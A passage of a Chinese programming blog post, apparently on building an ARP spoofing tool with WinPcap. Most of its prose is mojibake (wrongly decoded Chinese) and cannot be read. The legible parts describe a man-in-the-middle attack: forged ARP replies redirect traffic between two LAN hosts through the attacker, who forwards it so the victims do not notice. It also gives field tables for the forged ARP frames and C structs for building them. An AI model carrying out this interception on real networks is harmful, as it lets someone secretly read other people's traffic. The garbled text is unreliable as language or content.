鍖呯殑鏃跺欒緇嗚瑙o紝灝變笉鍐嶆澶氳浜嗐?/span>
聽聽聽 3.聽聽聽聽聽聽聽
鍩轟簬
ARP
嬈洪獥鐨勭洃鍚師鐞?/span>
鐩戝惉鐨勬妧鏈湁寰堝浜嗭紝涓嶈繃鎴戜滑甯哥敤鐨?/span>
sniffer
宸ュ叿鍙兘鍦ㄥ熀浜?/span>
hub
鐨勭綉緇滀腑璧蜂綔鐢紝紕板埌鍝曟槸浜ゆ崲鏈洪兘鏃犺兘涓哄姏浜嗭紝榪欎釜鏃跺欐垜浠殑
ARP
嬈洪獥鎶鏈氨媧句笂鐢ㄥ満浜嗐?/span>
榪樻槸鍋囪鏈変笁鍙頒富鏈?/span>
A,B,
榪樻湁鎴戜滑鐨勪富鏈猴紝浣嶄簬鍚屼竴涓氦鎹㈠紡灞鍩熺綉涓?/span>
A
涓?/span>
B
姝e湪閫氫俊錛屽鏋滄垜浠兂瑕佸埡鎺?/span>
A
鈥曗?/span>
>B
閫氫俊鐨勫唴瀹癸紝浜庢槸鎴戜滑灝卞彲浠ョ粰
A
鍙戦佷竴涓吉閫犵殑
ARP
鍥炲簲鍖咃紝鍛婅瘔
A
錛?/span>
B
鐨?/span>
IP
瀵瑰簲鐨?/span>
MAC
鏉$洰涓烘垜浠殑
MAC
鍦板潃錛屼簬鏄紝
A
涔熷氨浼氱浉搴旂殑鍒鋒柊鑷繁鐨?/span>
ARP
緙撳瓨錛屽皢鍙戠粰
B
鐨勬暟鎹紝婧愭簮涓嶆柇鐨勫彂閫佸埌鎴戜滑鐨勪富鏈轟笂鏉ワ紝榪欐牱鎴戝氨鍙互瀵規帴鏀跺埌鐨勬暟鎹寘榪涜鍒嗘瀽灝卞ソ浜嗭紝杈懼埌浜嗙洃鍚殑鐩殑銆傚綋鐒訛紝鍥犱負鍔ㄦ?/span>
ARP
緙撳瓨鏄姩鎬佺殑錛屾湁瓚呮椂鏃墮棿鐨勶紝鎵浠ユ垜浠繀欏繪瘡闅斾竴孌墊椂闂村氨緇?/span>
A
鍙戦佷竴涓?/span>
ARP
鍥炲簲鍖?/span>
铏界劧鎴戜滑榪欐牱杈懼埌浜嗙洰鐨勶紝浣嗘槸
A
鍒?/span>
B
鐨勯氫俊鍗磋鍋滄浜嗭紝涓轟簡涓嶈
B
鍙戠幇錛屾垜浠繕瑕佸姣忔鎺ユ敹鍒扮殑鏁版嵁鍖呰繘琛岃漿鍙戯紝鍏ㄩ儴閮借漿鍙戠粰
B
錛岃繖鏍峰氨澶╄。鏃犵紳浜?/span>
^_^
鍚屾牱鐨勶紝濡傛灉鎴戜滑榪樻兂鐩戝惉
B
脿
A
鐨勬暟鎹寘錛屼竴鏍風粰
B
鍙戜竴涓?/span>
ARP
鍥炲簲鍖咃紝鍛婅瘔
B
錛?/span>
A
鐨?/span>
IP
瀵瑰簲鐨?/span>
MAC
鏄垜浠殑涓繪満
MAC
錛屼簬鏄?/span>
B
鍒?/span>
A
鐨勬暟鎹寘涔熸簮婧愪笉鏂殑鍙戝埌鎴戜滑鐨勪富鏈轟笂鏉ヤ簡錛屽綋鐒舵垜浠篃鏄竴鏍瘋瀵硅繖浜涙暟鎹寘榪涜杞彂錛屽鍥撅細
A聽聽<------>聽
聽
鎴戜滑鐨勪富鏈?/span>
聽 聽<------>聽
聽B
涓鍒囬兘鏃犺鐨勮瘽錛?/span>
A
鍜?/span>
B
鐨勯氫俊鍐呭灝辮繖鏍蜂笉鐭ヤ笉瑙夌殑琚垜浠洃鍚埌浜?/span>
^_^
鍏蜂綋鐨勪唬鐮佸疄鐜扮敱浜庣瘒騫呯殑鍏崇郴鎴戝氨涓嶆斁鍦ㄨ繖閲岃浜嗭紝濡傛灉闇瑕佹垜灝變笓闂ㄥ彟鍐欑瘒鏂囩珷闄勪笂瀹屾暣浠g爜鍚?/span>
鑷蟲錛屾垜浠殑
ARP
鍩虹鐭ヨ瘑灝辮瀹屼簡錛屼絾鎰挎偍鑳戒粠涓湁鎵鏀惰幏
鍚庤錛?/span>
聽鍥犱負鏈漢寮鍙戦兘鏄嬌鐢?/span> VC++.net 2003 錛屾墍浠ユ病鏈夊畨瑁?/span> .net 鐨勬湅鍙嬫槸鎵撲笉寮宸ョ▼鐨勶紝 鍙互璇曚竴涓?/span> vckbase 涓婄殑宸ョ▼杞崲宸ュ叿錛屾湰浜烘病鏈夎瘯榪囷紝涓嶄繚璇佹湁鏁?/span>
聽聽聽聽聽聽聽 聽聽聽 聽 http://www.vckbase.com/tools/assist/prjconverter.rar
鑰屼笖鏈枃鐨勪唬鐮佷嬌鐢ㄤ簡
winpcap
寮鍙戝寘錛屾槸瑕佸彟澶栧畨瑁?/span>
ainpcap
椹卞姩銆?/span>
璇昏呭彲浠ュ畨瑁呮垜浠g爜鍖呴噷鐨勯┍鍔紝涓嶈繃瀹冩洿鏂板緢蹇紝鍙互鍒板畠涓婚〉涓婂幓涓嬭澆鏈鏂扮増鏈?/span>
聽聽聽聽聽聽聽 http://winpcap.polito.it/install/default.htm
聽聽聽 涓嶅仛寮鍙戠殑璇昏咃紝鍙敤涓嬭澆騫跺畨瑁呰繖涓氨鍙互浜?/span>
WinPcap auto-installer (driver +DLLs)
聽聽 鎴戠殑鍘熸枃鍙婃簮鐮佷笅杞藉湴鍧紼嶅悗璐村嚭錛岃鍏蟲敞鏈笘 ^_^
聽聽聽
聽聽聽聽 婧愮爜涓嬭澆鍦板潃錛屾柊椴滃嚭鐐夛紝闈炲父鎰熻阿 _foo 鍏勫紵鎻愪緵鐨勭┖闂?/font>
http://iunknown.com.cn/csdn/network/ARPPlayer_By_PiggyXP.rar
聽聽聽 涓錛?span style="FONT: 7pt 'Times New Roman'">聽聽聽
鍏充簬
ARP
鍗忚鐨勫熀紜鐭ヨ瘑
聽聽聽聽 3. ARP鍖呯殑濉厖
浜屻傚彂閫佹暟鎹寘鐨勭紪紼嬪疄鐜?/span>
聽聽 1.濉厖鏁版嵁鍖?/span>
聽
.........................绱ф帴涓婃枃............................
聽
DLC Header
|
||
瀛楁
|
闀垮害(Byte)
|
濉厖鍊?/font>
|
鎺ユ敹鏂筂AC
|
6
|
ffffffffffff
|
鍙戦佹柟MAC
|
6
|
aaaaaaaaaaaa
|
Ethertype
|
2
|
0x0806
|
聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽 ARP Frame
|
||
瀛楁
|
闀垮害(Byte)
|
濉厖鍊?/font>
|
紜歡綾誨瀷
|
2
|
1
|
涓婂眰鍗忚綾誨瀷
|
2
|
0800
|
MAC鍦板潃闀垮害
|
1
|
6
|
IP鍦板潃闀垮害
|
1
|
4
|
鎿嶄綔鐮?/font>
|
2
|
1
|
鍙戦佹柟MAC
|
6
|
aaaaaaaaaaaa
|
鍙戦佹柟IP
|
4
|
192.168.0.1
|
鎺ユ敹鏂筂AC
|
6
|
浠繪剰鍊?xxxxxxxxxxxx
|
鎺ユ敹鏂笽P
|
4
|
192.168.0.99
|
濉厖鏁版嵁
|
18
|
0
|
DLC Header
|
||
瀛楁
|
闀垮害(Byte)
|
濉厖鍊?/font>
|
鎺ユ敹鏂筂AC
|
6
|
bbbbbbbbbbbb
|
鍙戦佹柟MAC
|
6
|
aaaaaaaaaaaa
|
Ethertype
|
2
|
0x0806
|
ARP Frame
|
||
瀛楁
|
闀垮害(Byte)
|
濉厖鍊?/font>
|
紜歡綾誨瀷
|
2
|
1
|
涓婂眰鍗忚綾誨瀷
|
2
|
0800
|
MAC鍦板潃闀垮害
|
1
|
6
|
IP鍦板潃闀垮害
|
1
|
4
|
鎿嶄綔鐮?/font>
|
2
|
2
|
鍙戦佹柟MAC
|
6
|
aaaaaaaaaaaa
|
鍙戦佹柟IP
|
4
|
192.168.0.1
|
鎺ユ敹鏂筂AC
|
6
|
bbbbbbbbbbbb
|
鎺ユ敹鏂笽P
|
4
|
192.168.0.99
|
濉厖鏁版嵁
|
18
|
0
|
浜岋紟聽
鍙戦?/span>
ARP
鍖呯殑緙栫▼瀹炵幇
1.聽聽聽聽聽聽聽
濉厖鏁版嵁鍖?/span>
涓婇潰鐨勯偅浜涘叧浜?/span>
ARP
鍖呭悇涓瓧孌電殑琛ㄦ牸錛屽搴斿湪紼嬪簭閲屽氨鏄粨鏋勪綋錛?/span>
瀵瑰簲浜庝笂闈㈢殑琛ㄦ牸錛?/span>
浜庢槸鎴戜滑闇瑕佷笁涓笅闈㈣繖鏍風殑緇撴瀯浣?/span>
// DLC Header
typedef
struct tagDLCHeader聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽
{
聽聽
unsigned
char
聽聽聽聽聽 DesMAC[6];聽聽聽聽聽聽聽聽聽聽聽聽 /* destination HW addrress */
聽聽
unsigned
char
聽聽聽聽聽 SrcMAC[6];聽聽聽聽聽聽聽聽聽聽聽聽 /* source HW addresss */
聽聽
unsigned
short
聽聽聽聽 Ethertype;聽聽聽聽聽聽聽聽聽聽聽聽 聽聽 /* ethernet type */
} DLCHEADER, *PDLCHEADER;
// ARP Frame
typedef
struct tagARPFrame聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽
{
聽聽聽聽
聽聽聽聽
unsigned
short
聽聽聽聽聽聽聽聽 HW_Type;聽聽聽聽聽聽聽聽聽聽 /* hardware address */
聽聽聽聽
聽聽聽聽
unsigned
short
聽聽聽聽聽聽聽聽 Prot_Type;聽聽聽聽聽聽聽聽聽聽聽聽 /* protocol address */
聽聽聽聽
聽聽聽聽
unsigned
char
聽聽聽聽聽 HW_Addr_Len;聽聽聽聽聽聽 /* length of hardware address */
聽聽聽聽
聽聽聽聽
unsigned
char
聽聽聽聽聽 Prot_Addr_Len;聽聽聽聽聽聽聽聽 /* length of protocol address */
聽聽聽聽
聽聽聽聽
unsigned
short
聽聽聽聽聽聽聽聽 Opcode;聽聽聽聽聽聽聽聽聽聽聽 聽聽聽 /* ARP/RARP */
聽聽聽聽
聽聽聽聽
unsigned
char
聽聽聽聽聽 Send_HW_Addr[6];聽聽聽聽 /* sender hardware address */
聽聽聽聽
聽聽聽聽
unsigned
long
聽聽聽聽聽 Send_Prot_Addr;聽聽聽聽聽 /* sender protocol address */
聽聽聽聽
聽聽聽聽
unsigned
char
聽聽聽聽聽 Targ_HW_Addr[6];聽聽聽聽 /* target hardware address */
聽聽聽聽
聽聽聽聽
unsigned
long
聽聽聽聽聽 Targ_Prot_Addr;聽聽聽聽聽 /* target protocol address */
聽聽聽聽
聽聽聽聽
unsigned
char
聽聽聽聽聽 padding[18];
} ARPFRAME, *PARPFRAME;
// ARP Packet = DLC header + ARP Frame
typedef
struct tagARPPacket聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽聽
{
聽聽聽聽 DLCHEADER聽聽聽聽 dlcHeader;
聽聽聽聽 ARPFRAME聽聽聽聽聽 arpFrame;
} ARPPACKET, *PARPPACKET;
榪欎簺緇撴瀯浣撲竴瀹氳兘鐪嬫噦鍚?/span> 鍦ㄧ▼搴忎腑灝辨槸瀵瑰彿鍏ュ駭灝卞ソ浜?/span>